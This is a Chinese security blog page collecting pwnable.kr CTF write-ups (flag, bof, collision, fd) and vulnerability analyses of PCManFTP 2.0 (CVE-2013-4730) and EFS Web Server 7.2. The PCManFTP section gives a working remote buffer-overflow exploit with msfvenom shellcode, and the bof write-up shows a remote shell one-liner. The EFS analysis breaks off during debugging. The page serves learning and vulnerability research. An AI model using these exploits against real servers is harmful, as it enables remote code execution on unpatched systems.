Fork me on GitHub
R00tnb's Blog

吾将上下而求索


  • 首页

  • 关于

  • 标签

  • 分类

  • 归档

pwnable.kr-flag

发表于 2017-12-09 | 更新于 2018-08-04 | 分类于 CTF | 评论数:

前言

这是一道Linux逆向题,题目很简单,但是对于我这样的新手来说还是纠结了一会儿,嘿嘿~

分析

下载下来的程序直接加载到ida中发现没找到main函数,有一个start函数,应该想到程序可能加了壳(当时还傻乎乎的看了半天汇编代码),最想想到的是upx的壳,于是拿到kali下用upx去了一下壳

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
root@kali:~# upx -t flag
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2017
UPX 3.94 Markus Oberhumer, Laszlo Molnar & John Reiser May 12th 2017

testing flag [OK]

Tested 1 file.
root@kali:~# upx -d flag
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2017
UPX 3.94 Markus Oberhumer, Laszlo Molnar & John Reiser May 12th 2017

File size Ratio Format Name
-------------------- ------ ----------- -----------
883745 <- 335288 37.94% linux/amd64 flag

Unpacked 1 file.

然后直接将flag程序加载到gdb中,用diassemble main查看main函数的汇编代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
gdb-peda$ disassemble main
Dump of assembler code for function main:
0x0000000000401164 <+0>: push rbp
0x0000000000401165 <+1>: mov rbp,rsp
0x0000000000401168 <+4>: sub rsp,0x10
0x000000000040116c <+8>: mov edi,0x496658
0x0000000000401171 <+13>: call 0x402080 <puts>
0x0000000000401176 <+18>: mov edi,0x64
0x000000000040117b <+23>: call 0x4099d0 <malloc>
0x0000000000401180 <+28>: mov QWORD PTR [rbp-0x8],rax
0x0000000000401184 <+32>: mov rdx,QWORD PTR [rip+0x2c0ee5] # 0x6c2070 <flag>
0x000000000040118b <+39>: mov rax,QWORD PTR [rbp-0x8]
0x000000000040118f <+43>: mov rsi,rdx
0x0000000000401192 <+46>: mov rdi,rax
0x0000000000401195 <+49>: call 0x400320
0x000000000040119a <+54>: mov eax,0x0
0x000000000040119f <+59>: leave
0x00000000004011a0 <+60>: ret
End of assembler dump.

分析汇编代码的逻辑可以知道,程序首先执行put函数输出一句话,这句话在调试时可以看到是I will malloc() and strcpy the flag there. take it.,然后调用malloc申请了一段内存,最后执行了一个函数。通过put的一句话知道程序最后会把flag复制到申请的内存中,那么就按照他的意思调试时记住申请的内存地址,等到程序最后在查看。果然flag就在这里

1
2
3
4
5
6
7
8
9
10
11
gdb-peda$ x/10s 0x6c96b0
0x6c96b0: "UPX...? sounds like a delivery service :)"
0x6c96da: ""
0x6c96db: ""
0x6c96dc: ""
0x6c96dd: ""
0x6c96de: ""
0x6c96df: ""
0x6c96e0: ""
0x6c96e1: ""
0x6c96e2: ""

总结

这次做这道题,发现gdb命令用的不熟,Linux的命令也不太熟,这方面要掌握才行。

pwnable.kr-bof

发表于 2017-12-08 | 更新于 2018-08-04 | 分类于 CTF | 评论数:

分析

查看源码bof.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}

func函数中如果传入参数为0xcafebabe则会获得一个shell,但是main函数中调用func函数时传入了一个错误的数值,显然这题是要通过栈溢出来覆盖形参key的值。
通过ida查看bof程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
.text:0000062C                 public func
.text:0000062C func proc near ; CODE XREF: main+10p
.text:0000062C
.text:0000062C s = byte ptr -2Ch
.text:0000062C var_C = dword ptr -0Ch
.text:0000062C arg_0 = dword ptr 8
.text:0000062C
.text:0000062C push ebp
.text:0000062D mov ebp, esp
.text:0000062F sub esp, 48h
.text:00000632 mov eax, large gs:14h
.text:00000638 mov [ebp+var_C], eax
.text:0000063B xor eax, eax
.text:0000063D mov dword ptr [esp], offset s ; "overflow me : "
.text:00000644 call puts
.text:00000649 lea eax, [ebp+s]
.text:0000064C mov [esp], eax ; s
.text:0000064F call gets

上面是func函数的汇编片段,可以看到func函数开辟了48h的栈空间,但是gets函数将输入字符串存放在ebp偏移-2ch的位置,再加上ebp,retaddr的大小一共是34h的偏移,这个34h就是overflow到key的偏移,于是有下面的payload

1
(python -c "print 'a'*0x34+'\xbe\xba\xfe\xca'";cat) | nc pwnable.kr 9000

其中加cat维持shell的交互

1
2
3
4
5
6
7
8
9
10
root@kali:~/桌面/pwn/bof# (python -c "print 'a'*0x34+'\xbe\xba\xfe\xca'";cat) | nc pwnable.kr 9000
ls
bof
bof.c
flag
log
log2
super.pl
cat flag
daddy, I just pwned a buFFer :)

pwnable.kr-collision

发表于 2017-12-08 | 更新于 2018-08-04 | 分类于 CTF | 评论数:

分析

查看源码col.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
int* ip = (int*)p;
int i;
int res=0;
for(i=0; i<5; i++){
res += ip[i];
}
return res;
}

int main(int argc, char* argv[]){
if(argc<2){
printf("usage : %s [passcode]\n", argv[0]);
return 0;
}
if(strlen(argv[1]) != 20){
printf("passcode length should be 20 bytes\n");
return 0;
}

if(hashcode == check_password( argv[1] )){
system("/bin/cat flag");
return 0;
}
else
printf("wrong passcode.\n");
return 0;
}

check_password函数对传入的字符串指针强制转换为int类型,然后将前5个整数相加返回。
最后判断hashcode是否与返回结果相等。
源码还是比较简单的,只要构造好程序的传入参数就行了,payload有很多,但要注意一些会影响传入和运算的特殊字符如\x00,\x09等。
我的做法是将前16个字节置为1最后算出一个整数,payload为

1
./col `python -c "print '\x01'*16+'\xE8\x05\xD9\x1D'"`

1
2
3
col@ubuntu:~$ ./col `python -c "print '\x01'*16+'\xE8\x05\xD9\x1D'"`
daddy! I just managed to create a hash collision :)
col@ubuntu:~$

pwnable.kr--fd

发表于 2017-12-06 | 更新于 2018-08-04 | 分类于 CTF | 评论数:

前言

最近在做pwnable.kr上的题目,本来也是新手就准备把解题的思路写下来加深印象。
这是第一题,较简单,题目很基础。

分析

先看一下都有什么文件

1
2
3
4
5
fd@ubuntu:~$ ls -l
total 16
-r-sr-x--- 1 fd_pwn fd 7322 Jun 11 2014 fd
-rw-r--r-- 1 root root 418 Jun 11 2014 fd.c
-r--r----- 1 fd_pwn root 50 Jun 11 2014 flag

由于没权限访问flag文件,看来只有通过fd程序的执行来查看了,这里fd.c是源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;

}

通过分析源码发现,只要控制使第一个参数为0x1234然后fd=0再输入LETMEWIN\n就可以执行查看flag的命令了。操作一下确实是这样的

1
2
3
4
fd@ubuntu:~$ ./fd `python -c 'print 0x1234'`
LETMEWIN
good job :)
mommy! I think I know what a file descriptor is!!

总结

这道题考察基本的Linux文件操作,适合我这样的萌新,哈哈。

PCManFTP2.0 (CVE-2013-4730)漏洞分析

发表于 2017-12-05 | 更新于 2018-08-05 | 分类于 二进制漏洞分析 | 评论数:

PCManFTP2.0 (CVE-2013-4730)漏洞分析

简介

pcManFTP是一款FTP服务器软件,它的2.0版本在接受命令时,
如果命令后的字符串过长会发生溢出,该溢出漏洞可导致执行任意机器指令。


漏洞分析环境

OS:                    Microsoft Windows 10 64bit 专业版
Software:            PCManFTP 2.0
winDbg:                6.12.2.633
IDAPro:                6.8 绿色版
python:                python 2.7

漏洞分析

#####参考了k0shl大佬的视频https://www.ichunqiu.com/qad/course/56129

编写了如下的python脚本用作poc,文件名:poc.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env python 
# coding=utf-8
# fileName: poc.py
# usage: python poc.py ip port payloadNum

from pwn import *
import sys

RHOST = sys.argv[1]
RPORT = int(sys.argv[2])
payload = cyclic(int(sys.argv[3])) #用于快速定位漏洞触发位置

r = remote(RHOST,RPORT)
print r.recv(1024)
r.send('USER '+payload+'\r\n')
print r.recv(1024)
r.close()

然后打开winDbg,这里使用了打开的方法调试PCManFTP2.exe,直接输入g命令执行。
然后执行如下命令运行poc.py
python poc.py 192.168.0.103 21 2048
这时由于产生了异常winDbg被断下

01

可以看到eip被覆盖为0x61616275,使用cyclic -l 0x61616275命令可得到从缓冲区到返回地址一共有2003个字节

02

下面进行分析看是哪个函数调用使缓冲区溢出了。执行kb命令可以发现,整个栈空间大都被畸形字符串覆盖了

03

这里无法通过堆栈回溯找到上层的调用。由于软件是网络软件,在接受客户端命令时可能会调用recv()的接受函数,这时打开ida加载pcmanftp搜索文本recv

04

找到了两处recv()的调用,重新打开winDbg并下这两处的断点,输入g继续执行

1
2
bp 4029d5
bp 40563e

执行poc.py,windbg断在4029d5处,在输入g继续执行发现eip又被覆盖为61616275,说明缓冲区被覆盖的位置在第一次触发断点之后,而且40563e位置的断点没有触发可以删除。再次打开winDbg下断点bp 4029d5,执行poc并断下后,查看函数参数

05

recv函数的原型是int recv(SOCKET s, char *buf, int len,int flags);传入的buf地址是0x19ecf8,最大长度是0x1000,然后单步步过这个函数,在查看buf里的字符串

06

发现buf已经被畸形字符串覆盖了,由于poc传入的是2048个字节,小于recv的最大接收字节所以畸形字符串全部存在buf里,继续单步步过直到触发异常,发现异常发生在402a26处的函数调用

07

那么缓冲区溢出就发生在该函数的内部,在ida中跳到该地址处静态分析。进入该函数内部,这里由于我的IDA产生了sp-analysis failed错误不能F5,所以就看汇编了。在403ee6位置调用了_sprintf函数,我们知道这个函数是一个危险的函数,如果不控制输入缓冲区大小就会造成溢出。

08

打开winDbg设置断点bp 403ee6,继续运行,当命中断点时由于不确定这一处是否被多次调用仍然要输入g继续执行,最后发现在第二次命中断点后引发了异常。然后重新调试下断点直到异常发生前一次的断点位置,开始分析。查看传入的参数

1
2
3
4
5
6
7
8
9
0:000> dd esp
0019e4a0 0019e4e4 004416d4 000007e1 00000009
0019e4b0 00000004 0000000b 00000013 00000368
0019e4c0 02528750 0019ecf8 00000004 0019ecf8
0019e4d0 000907e1 00040001 0013000b 02690008
0019e4e0 00000000 00000000 00000000 00000000
0019e4f0 00000000 00000000 00000000 00000000
0019e500 00000000 00000000 00000000 00000000
0019e510 00000000 00000000 00000000 00000000

被写入的地址是19e4e4,格式控制字符串为

1
2
3
4
5
6
7
8
9
0:000> dc 4416d4
004416d4 252f6425 64252f64 30255b20 253a6432 %d/%d/%d [%02d:%
004416e4 5d643230 30252820 20296435 203e7325 02d] (%05d) %s>
004416f4 0a0d7325 00000000 20313234 6e6e6f43 %s......421 Conn
00441704 69746365 74206e6f 64656d69 74756f20 ection timed out
00441714 63202d20 69736f6c 0d2e676e 0000000a - closing......
00441724 00002a5c 0000002a 77726325 2d2d7278 \*..*...%crwxr--
00441734 202d2d72 20302020 20707466 20202020 r-- 0 ftp
00441744 70746620 36492520 25207534 73252073 ftp %I64u %s %s

那么数一下格式控制符就可以知道最后一个%s对应的参数为19ecf8,而这里就是畸形字符串的地址(recv里的buf),显然当payload过长就有可能覆盖返回地址。

1
2
3
4
5
6
7
8
9
0:000> dc 19ecf8
0019ecf8 52455355 61616120 61616261 61616361 USER aaaabaaacaa
0019ed08 61616461 61616561 61616661 61616761 adaaaeaaafaaagaa
0019ed18 61616861 61616961 61616a61 61616b61 ahaaaiaaajaaakaa
0019ed28 61616c61 61616d61 61616e61 61616f61 alaaamaaanaaaoaa
0019ed38 61617061 61617161 61617261 61617361 apaaaqaaaraaasaa
0019ed48 61617461 61617561 61617661 61617761 ataaauaaavaaawaa
0019ed58 61617861 61617961 61617a61 61616262 axaaayaaazaabbaa
0019ed68 61616362 61616462 61616562 61616662 bcaabdaabeaabfaa

另外这个sprintf的调用函数在402a26处,这个上面已经分析过,然而这个函数调用不是标准的,它没有创建栈帧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
00403e5e 90              nop
00403e5f 90 nop
;402a26函数代码片段
00403e60 a140354400 mov eax,dword ptr [image00400000+0x43540 (00443540)];从402a26来
00403e65 81ec14080000 sub esp,814h
00403e6b 85c0 test eax,eax
00403e6d 56 push esi
00403e6e 57 push edi
00403e6f 8bf1 mov esi,ecx
00403e71 750d jne image00400000+0x3e80 (00403e80)
00403e73 a148354400 mov eax,dword ptr [image00400000+0x43548 (00443548)]
00403e78 85c0 test eax,eax
00403e7a 0f8431010000 je image00400000+0x3fb1 (00403fb1)
00403e80 8d442408 lea eax,[esp+8]
00403e84 50 push eax
00403e85 ff15a8524300 call dword ptr [image00400000+0x352a8 (004352a8)]

所以堆栈回溯无法确定返回地址在栈中的位置,当然我们可以在402a26位置下断点记下位置,这里由于已经知道在payload偏移2003处覆盖返回地址(上面分析过)就不必了。我们可以单步步过直到返回。然后查看栈

1
2
3
4
5
6
7
8
9
0:000> dc esp
0019ece4 61616275 61616375 61616475 61616575 ubaaucaaudaaueaa
0019ecf4 61616675 61616775 61616875 61616975 ufaaugaauhaauiaa
0019ed04 61616a75 61616b75 61616c75 000a0d75 ujaaukaaulaau...
0019ed14 61616761 61616861 61616961 61616a61 agaaahaaaiaaajaa
0019ed24 61616b61 61616c61 61616d61 61616e61 akaaalaaamaaanaa
0019ed34 61616f61 61617061 61617161 61617261 aoaaapaaaqaaaraa
0019ed44 61617361 61617461 61617561 61617661 asaaataaauaaavaa
0019ed54 61617761 61617861 61617961 61617a61 awaaaxaaayaaazaa

可见返回地址已经被覆盖为0x61616275.这里要注意下,19ecf8处为recv的buf,而19e4e4为sprintf的写入地址,所以payload过长会覆盖recv的buf,在漏洞利用上得注意。最后,不止USER命令,其他命令在同样位置均存在溢出。


漏洞利用

由于我的win10 64bit默认开启的DEP防护是optin,所以就不绕过DEP了,好像pcman没有开启alsr也就不用绕过了,我直接获取本机的user32.dll中的jmp esp地址的。利用手法很简单,因为我还不会高明的利用,这里只是搞着玩!
开始:
payload在偏移2003处开始覆盖返回地址,这里直接覆盖返回地址为jmp esp,然后后面跟上一个跳转指令直接跳到19ecf8处的shellcode,又由于这里会被覆盖(上面有解释)那么可以向后偏移几个字节,比如可以直接跳转到19ecff处,跳转的偏移=0x19ecff-0x19ecec-4=0xf=15,4是跳转指令的长度,这里的返回指令是ret 4所以esp会额外加4。至于shellcode,我用msfvenom来生成一个弹出计算器的shellcode:msfvenom -p windows/exec CMD=calc.exe -e x86/shikata_ga_nai -i 2 -f python -b '\x00\x0a\x0d'。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/env python
# coding=utf-8
# fileName: exp.py
# usage: python exp.py ip port

from pwn import *
import sys

buf = ""
buf += "\xd9\xcf\xd9\x74\x24\xf4\x5a\x31\xc9\xb1\x38\xbd\x61"
buf += "\xa3\x34\xc0\x31\x6a\x17\x83\xc2\x04\x03\x0b\xb0\xd6"
buf += "\x35\x11\x71\xcf\xc2\x81\x8a\x4b\x9c\xea\x94\x9a\xbe"
buf += "\xdf\x91\x52\x71\x2e\x7d\x8d\xf1\xbf\x7d\xae\xaa\x9d"
buf += "\xbf\xa2\x9e\xc3\xb8\x19\x2d\xb1\x2f\xf4\x84\x36\x87"
buf += "\xf6\xba\x8b\x40\xb9\x4c\xd4\x22\x3d\x52\x9e\xd5\xc1"
buf += "\x90\xa3\x45\x37\xb3\x25\xfb\x73\xee\x25\xcf\x9b\x62"
buf += "\xe8\xcf\xf1\xb0\x68\xb2\x6a\xd4\x5f\x3a\xa7\xd4\x0f"
buf += "\x7f\x48\xac\x85\x37\xc1\x8e\x23\xac\x5b\xc1\xa2\x01"
buf += "\xbc\xd1\x12\x28\xad\xfe\x21\xdf\x26\x80\x5a\x27\x53"
buf += "\xc1\x3a\xcf\xe2\x6f\xad\x14\x7e\x86\x66\xef\x6e\x5a"
buf += "\x2c\x96\x87\x8a\xfb\xcc\x24\xf9\x7c\x22\xf3\x29\xfc"
buf += "\xde\x4a\x92\x8c\x50\x18\x01\x1c\x20\x78\x55\xb0\x66"
buf += "\xe1\x19\xed\x07\xa3\x8e\x83\x4c\x77\xe3\x91\x99\xab"
buf += "\xf2\x90\x4d\x2b\x4f\x81\xb6\x3c\x48\x04\x2f\x3b\x6a"
buf += "\x11\x57\xdb\xa8\xfa\x16\x72\x64\xac\xdf\xb2\x94\x21"
buf += "\x26\xc6\x9a\x9e\x48\xef\x37\x1a\x95\xca\xba\xe2\x6c"
buf += "\xb2\x1d\xd2\x8c\x05\xa0\x17\xd4\x43\x1a\x20\xfa\xef"
buf += "\x23\x2a\x2e\x0e\x81\x59\x97\xb8\x4d\x13\xf7\x33\x81"#247 bytes


RHOST = sys.argv[1]
RPORT = int(sys.argv[2])
payload = '\x90'*(2003-len(buf)) #填充为nop
payload += buf #shellcode
payload += p32(0x742d2109)+'\x90'*4 #jmp esp覆盖为返回地址
payload += '\xeb\x0f' #向后跳转15字节
r = remote(RHOST,RPORT)
r.send('USER '+payload+'\r\n')
r.close()

然后直接执行exp即可
09

EFS Web Server 7.2漏洞分析

发表于 2017-12-03 | 更新于 2018-08-05 | 分类于 二进制漏洞分析 | 评论数:

EFS Web Server 7.2漏洞分析

简介

EFS Web Server是一款web服务器软件,能快速的搭建web服务。它在接受GET请求时,由于没有有效的控制请求字符串的长度导致栈溢出。


分析环境

1
2
3
4
5
OS:                 Microsoft Windows 10 64bit 专业版
Software: EFS Web Server 7.2
winDbg: 6.12.2.633
IDAPro: 6.8 绿色版
python: python 2.7

漏洞分析

编写如下的脚本用作poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# coding=utf-8
# fileName: poc.py
# usage: python poc.py ip payloadNums

import socket
import sys

RHOST = sys.argv[1]
RPORT = 80
payload = '\x41'*int(sys.argv[2])

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((RHOST,RPORT))
s.send('GET '+payload+' HTTP/1.0\r\n\r\n')
s.close()
print 'done.'

打开EFS,用windbg附加到该进程,然后执行poc,windbg遇到异常被断下

1
2
3
4
5
6
7
8
9
(9f0.4220): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=00000001 ecx=ffffffff edx=00b65fa4 esi=00b65f7c edi=00b65fa4
eip=61c277f6 esp=00b65ef8 ebp=00b65f10 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Users\gyh\Desktop\1\sqlite3.dll -
sqlite3!sqlite3_errcode+0x8e:
61c277f6 81784c97a629a0 cmp dword ptr [eax+4Ch],0A029A697h ds:002b:4141418d=????????

这里是因为eax+4ch处的内存没有开辟出来导致内存访问异常,而且eax=41414141这是畸形字符串的值,说明传入的payload已经覆盖了eax,下面进行堆栈回溯找到上层的函数调用去分析漏洞是如何触发的

1
2
3
4
5
6
7
8
0:007> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
00b65f10 61c6286c 000011b8 00001194 02ef4724 sqlite3!sqlite3_errcode+0x8e
*** WARNING: Unable to verify checksum for C:\Users\gyh\Desktop\1\fsws.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Users\gyh\Desktop\1\fsws.exe
00b65f50 00496624 00000001 00000000 00b65f7c sqlite3!sqlite3_declare_vtab+0x3282
00b675f4 00000000 00000000 00b6755c 00b67570 fsws+0x96624

函数返回在61c6286c处,打开ida载入sqlite3.dll并跳转到该处

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.text:61C6284E                 push    ebp
.text:61C6284F mov ebp, esp
.text:61C62851 push edi
.text:61C62852 push esi
.text:61C62853 push ebx
.text:61C62854 sub esp, 2Ch
.text:61C62857 mov ebx, eax
.text:61C62859 mov edi, edx
.text:61C6285B mov [ebp+var_1C], ecx
.text:61C6285E mov esi, [ebp+arg_8]
.text:61C62861 mov dword ptr [esi], 0
.text:61C62867 call _sqlite3SafetyCheckOk
.text:61C6286C test eax, eax ;ret addr
.text:61C6286E jz short loc_61C62874
.text:61C62870 test edi, edi

显然漏洞的触发位置就在_sqlite3SafetyCheckOk,直接跟进去F5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
signed int __usercall sqlite3SafetyCheckOk@<eax>(int a1@<eax>)
{
signed int v1; // ebx@2

if ( a1 )
{
v1 = 1;
if ( *(_DWORD *)(a1 + 76) != -1607883113 )
{
LOBYTE(v1) = 0;
if ( sqlite3SafetyCheckSickOrOk() )
sqlite3_log(21, "API call with %s database connection pointer", "unopened");
}
}
else
{
sqlite3_log(21, "API call with %s database connection pointer", (unsigned int)"NULL");
v1 = 0;
}
return v1;
}

这里的*(_DWORD *)(a1+76)就是漏洞触发位置的[eax+4ch],我们应该关注a1。这里的a1是上层函数传递进来的,回到上层函数F5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
signed int __usercall sqlite3LockAndPrepare@<eax>(int a1@<eax>, int a2@<edx>, int a3, int a4, _DWORD *a5, int a6)
{
int v6; // ebx@1
int v7; // edi@1
signed int v8; // edx@3
signed int v9; // edx@4
signed int v10; // ST18_4@6

v6 = a1;
v7 = a2;
*a5 = 0;
if ( sqlite3SafetyCheckOk(a1) && v7 )
{
sqlite3_mutex_enter(*(_DWORD *)(v6 + 12));
sqlite3BtreeEnterAll();
v9 = sqlite3Prepare(a3, a4, a5, a6);
if ( v9 == 17 )
{
sqlite3_finalize(*a5);
v9 = sqlite3Prepare(a3, a4, a5, a6);
}
v10 = v9;
sqlite3BtreeLeaveAll();
sqlite3_mutex_leave(*(_DWORD *)(v6 + 12));
v8 = v10;
}
else
{
sqlite3_log(21, "misuse at line %d of [%.10s]", 105119, "9d6c1880fb75660bbabd693175579529785f8a6b");
v8 = 21;
}
return v8;
}

该函数传递给sqlite3SafetyCheckOk的参数又是上层函数传递进来的第一个参数,所以继续查看00496624返回位置处的函数,这个地址是主程序fsws.exe的,所以再打开一个ida载入fsws.exe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
.text:00496600                 push    ecx
.text:00496601 mov eax, [esp+4+arg_4]
.text:00496605 push esi
.text:00496606 test eax, eax
.text:00496608 mov [esp+8+var_4], 0
.text:00496610 push 0
.text:00496612 jz short loc_496644
.text:00496614 lea edx, [esp+0Ch+arg_4]
.text:00496618 push edx
.text:00496619 push 0FFFFFFFFh
.text:0049661B push eax
.text:0049661C mov eax, [ecx]
.text:0049661E push eax
.text:0049661F call sqlite3_prepare_v2 ;
.text:00496624 add esp, 14h ;ret addr
.text:00496627 test eax, eax
.text:00496629 jz short loc_49663F

该函数调用了sqlite3_prepare_v2函数,这个函数属于sqlite3.dll的导出函数,在加载了sqlite3.dll的ida中搜索该函数并F5

1
2
3
4
int __cdecl sqlite3_prepare_v2(int a1, int a2, int a3, int a4, int a5)
{
return sqlite3LockAndPrepare(a1, a2, 1, 0, (_DWORD *)a4, a5);
}

这个函数又调用了sqlite3LockAndPrepare(a1, a2, 1, 0, (_DWORD *)a4, a5);,这样整个函数调用就连接起来了,这里只要关注第一个参数a1,还要继续向上回溯。回到加载主程序的ida,找到刚刚位置的函数直接F5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __thiscall sub_496600(_DWORD *this, int a2, int a3)
{
int v4; // [sp-4h] [bp-Ch]@1

v4 = 0;
if ( a3 )
{
if ( sqlite3_prepare_v2(*this, a3, -1, &a3, 0) )
{
sub_496710(0);
return a2;
}
v4 = a3;
}
sub_496710(v4);
return a2;
}

传递给sqlite3_prepare_v2的第一个参数是sub_496600的第一个参数指向内存的值,所以要继续向上层回溯看看是那个函数在修改这个值。这里如果用交叉引用的话函数太多,所以直接在windbg中下断点bp 496600,然后通过堆栈回溯找到上层调用。触发断点后要继续执行,找到离触发漏洞最近的断点然后分析。

1
2
3
4
0:007> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
030b75f4 00000000 00000000 030b755c 030b7570 fsws+0x96600

可以看到,堆栈回溯无法找到上层函数的调用,可能是因为上层的调用没有标准的使用ebp。这里可以先查看寄存器的值指向的内存,看看有没有与畸形字符串相关的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0:007> r
eax=030b5fa4 ebx=00001101 ecx=030b7028 edx=030b715b esi=030b7028 edi=02e2f4fc
eip=00496600 esp=030b5f74 ebp=030b75f4 iopl=0 nv up ei pl nz ac po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000212
fsws+0x96600:
00496600 51 push ecx

0:007> dc eax
030b5fa4 656c6573 2a207463 6f726620 7173206d select * from sq
030b5fb4 6261746c 7720656c 65726568 6d616e20 ltable where nam
030b5fc4 41273d65 41414141 41414141 41414141 e='AAAAAAAAAAAAA
030b5fd4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
030b5fe4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
030b5ff4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
030b6004 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
030b6014 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA

这是一个sql查询,里面有传入的畸形字符串。而且esp与eax的值很相近,说明sql查询字符串就在栈上,可能就是应为sql查询字符串的拼接导致栈的溢出。回到加载主程序的ida查找select * from的字符串

1

发现有很多这样的字符串,但是跟上面的sql查询语句匹配的只有select * from %s where %s='%s',这里有两处,随便跟进去一处

1
2
3
4
5
6
7
8
9
10
11
12
13
14
.text:004972B1                 push    edi
.text:004972B2 push edx
.text:004972B3 push eax
.text:004972B4 push offset aSelectFromSWhe ; "select * from %s where %s='%s'"
.text:004972B9 push ecx ; char *
.text:004972BA call _sprintf
.text:004972BF add esp, 14h
.text:004972C2 lea edx, [esp+1028h+var_100C]
.text:004972C6 lea eax, [esp+1028h+var_1014]
.text:004972CA mov ecx, esi
.text:004972CC push edx
.text:004972CD push eax
.text:004972CE call sub_496600 ;调用了要关注的函数
.text:004972D3 add esi, 4

可以发现函数调用_sprintf函数,它是一个危险的函数,如果不控制好传入字符串的长度就会造成溢出,而且下面有调用了我们要回溯的函数,所以这里很可能就是造成漏洞的位置。另一处和这里一样都调用了_sprintf,那么可以在这两处的_sprnitf处下断点看看究竟哪一处能有机会造成漏洞。在分析前同样得找到离漏洞触发最近的一次断点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
0:007> g
Breakpoint 0 hit
eax=02f549a8 ebx=00001101 ecx=02f549f8 edx=03125fa4 esi=03127028 edi=048cf494
eip=0049747e esp=03125f6c ebp=031275f4 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
fsws+0x9747e:
0049747e e8f71b0600 call fsws+0xf907a (004f907a)

0:007> dd esp
03125f6c 03125fa4 005a180c 02f549f8 02f549a8
03125f7c 048cf494 ffffffff 031271f8 00001107
03125f8c 02f549f8 02f549a8 00000000 00000000
03125f9c 00000000 02f56000 656c6573 2a207463
03125fac 6f726620 7173206d 6261746c 6c20656c
03125fbc 74696d69 00003120 00000000 00000000
03125fcc 00000000 00000000 00000000 00000000
03125fdc 00000000 00000000 00000000 00000000

0:007> dc 005a180c
005a180c 656c6573 2a207463 6f726620 7325206d select * from %s
005a181c 65687720 25206572 25273d73 00002773 where %s='%s'..
005a182c 65687720 25206572 25273d73 00002773 where %s='%s'..
005a183c 656c6573 2a207463 6f726620 7325206d select * from %s
005a184c 6d696c20 31207469 00000000 656c6573 limit 1....sele
005a185c 2a207463 6f726620 7325206d 65687720 ct * from %s whe
005a186c 25206572 273d3c73 20277325 6564726f re %s<='%s' orde
005a187c 79622072 73252720 45442027 00004353 r by '%s' DESC..

0:007> dc 048cf494
048cf494 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
048cf4a4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
048cf4b4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
048cf4c4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
048cf4d4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
048cf4e4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
048cf4f4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
048cf504 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA

找到离漏洞触发最近的断点后查看了函数的参数,_sprintf会把字符串写入03125f6c处这在栈上。通过格式字符串可以找到第三个%s,而且这里面存放的就是畸形字符串。然后单步步过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0:007> 
eax=000011b8 ebx=00001101 ecx=03125f44 edx=0312715b esi=03127028 edi=048cf494
eip=00497483 esp=03125f6c ebp=031275f4 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
fsws+0x97483:
00497483 83c414 add esp,14h
